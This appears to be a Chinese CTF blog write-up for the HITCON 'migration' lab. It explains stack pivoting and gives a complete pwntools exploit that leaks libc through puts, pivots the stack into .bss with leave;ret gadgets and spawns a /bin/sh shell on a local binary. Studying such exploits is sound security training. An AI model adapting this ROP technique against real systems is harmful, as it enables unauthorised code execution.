1. 程式人生 > >Pwn-10月25-Hitcon(三)

Pwn-10月25-Hitcon(三)

utf-8 劫持 分享 inux wiki 一般來說 一周年 elf tco

目錄

  • Pwn-10月25-Hitcon(三)
    • lab6-migration
      • 檢查保護措施
      • 邏輯分析
      • 構造exp

Pwn-10月25-Hitcon(三)

一天一天慢慢來,??

lab6-migration

這個題目涉及到棧遷移(stack-pivot),在ctf-wiki上面是有這個例題和解釋的。

該技巧就是劫持棧指針指向攻擊者所能控制的內存處,然後再在相應的位置進行 ROP。一般來說,我們可能在以下情況需要使用 stack pivoting

  • 可以控制的棧溢出的字節數較少,難以構造較長的 ROP 鏈
  • 開啟了 PIE 保護,棧地址未知,我們可以將棧劫持到已知的區域。
  • 其它漏洞難以利用,我們需要進行轉換,比如說將棧劫持到堆空間,從而在堆上寫 rop 及進行堆漏洞利用

此外,利用 stack pivoting 有以下幾個要求:

  • 可以控制程序執行流。
  • 可以控制 sp 指針。一般來說,控制棧指針會使用 ROP,常見的控制棧指針的 gadgets 一般是
pop rsp/esp

在這題中,溢出長度不夠導致無法一次性構造ropchain,並且還限制了main函數溢出的次數。

檢查保護措施

checksec migration

技術分享圖片

開啟了NX。

邏輯分析

ida 裏面看一看:

技術分享圖片

buf大小為0x28 = 40字節,而read讀取0x40 = 64字節

gdb跑一下,看看具體情況:

技術分享圖片

也就是說有4個字節被讀取到EBP中,剩下20個溢出字節可以用來構造ropchain。

搜索一下可用的gadget:

技術分享圖片

構造exp

exp:

#!/usr/bin/python
# -*- coding:utf-8 -*-S
from pwn import *
context.log_level = 'debug'

p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)

leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebp_ret
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400

payload = 'a'*40
# buf1 為ebp,eip ==> read_plt ==> leave_ret為返回地址 ==>read(0,buf1,0x100)
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
#leave;ret ==> mov ebp,esp; pop ebp; ret;
p.recvuntil(" :\n")
p.send(payload)
sleep(0.1)

#通過之前的leave_ret,將buf2作為ebp,得到puts_addr,通過libc泄露得到binsh,system_addr
payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
sleep(0.1)

puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)
offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset
'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)
p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''

#懵逼棧
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
sleep(0.1)
p.interactive()


exp運行效果:技術分享圖片

這題偽造假棧幀,從而構造ropchain,簡直就是一場消化盛宴,我需要好好消化一下lab6。

今天還看了一下安恒一周年特別賽的一道pwn題--over,做一半發現只能控制ebp和eip???沒想到是安恒杯六月賽的一道原題,在ctf-wiki的花式棧溢出技巧裏面有,並且和lab6一樣也是通過控制ebp和eip來做,但是那題並沒有多出來的溢出字節。

總的來說,兩種都可以稱作偽造假棧幀:CTF-WIKI-花式棧溢出。

Pwn-10月25-Hitcon(三)